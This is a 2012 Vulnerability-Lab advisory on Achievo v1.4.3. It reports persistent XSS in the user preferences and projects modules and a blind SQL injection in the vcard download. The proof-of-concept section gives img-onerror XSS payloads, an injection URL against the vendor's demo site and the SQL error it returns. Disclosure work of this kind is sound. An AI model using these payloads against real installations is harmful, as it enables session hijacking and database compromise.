Title:
======
Achievo v1.4.3 - Multiple Web Vulnerabilities


Date:
=====
2012-01-30


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=403


VL-ID:
=====
403


Introduction:
=============
Achievo is a flexible web-based resource management tool for business environments.
Achievo s resource management capabilities will enable organisations to support their business
processes in a simple, but effective manner.

A solution that fits seamlessly to the wishes of every organisation and offers the possibility
and freedom to adapt the functionality to the needs of the organisation. It will fit into every
organisation because Achievo is extremly easy to change to your specific situation.

(Copy of the Vendor Website: http://www.achievo.nl/product/ )


Abstract:
=========
Vulnerability-Lab Team (Chokri B.A.) discovered Multiple Web Vulnerabilities on the resource management tool Achievo v1.4.3.


Report-Timeline:
================
2012-01-30:  Public or Non-Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
Multiple persistant cross site & a blind SQL vulnerabilities are detected on the resource management tool Achievo v1.4.3. 
The bug allows remote attacker to implement malicious script code on the application side and/or to execute sql commands via 
remote sql injection attack..
Successful exploitation of the vulnerability allows an attacker to manipulate specific modules & can 
lead to session hijacking (user/mod/admin) and/or to compromise the application & dbms.


Vulnerable Module(s):
              [+] Users preferences
              [+] Projects
              [+] Download vcard ( SQLi )

Picture(s):
              ../1.jpg
              ../2.jpg


Proof of Concept:
=================
The vulnerabilities can be exploited by remote attackers with low required user inter action. For demonstration or reproduce ...

1.
<select class="atkManyToOneRelation" name="atksearch_AE_coordinator_AE_coordinator[]"><option value="">Search all
</option><option value="__NONE__">Nothing selected</option><option value="1
" >"><img src=image.jpg onerror=alert(123); />  [X]
, test (manager)</option><option value="2" >

2.
<td valign="top" class="fieldlabel"><b>Project:</b> </td>
<td valign="top" class="field" >
"><img src: "><img src=image.jpg onerror=alert(1234); />  [X]
</td></tr>

3.
http://www.achievo.nl/demos/achievo/stable/dispatch.php?atkaction=vcard&atklevel=1&atkprevlevel=0&atkstackid=4f2467eae0518&id=3'

Critical: Unknown error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'contact') ORDER BY person.role, person.lastname' at line 1).
Halted 
error: [+0.19090s / 0.00036s] Unknown error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'contact') ORDER BY person.role, person.lastname' at line 1)
Halted...


Risk:
=====
1.1
The security risk of the persistant xss vulnerabilities are estimated as medium(+).

1.2
The security risk of the blind sql injection vulnerabilities are estimated as high(+).


Credits:
========
Vulnerability Research Laboratory - Chokri B.A (Me!ster)


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of 
other media, are reserved by Vulnerability-Lab or its suppliers.

                Copyright © 2012|Vulnerability-Lab


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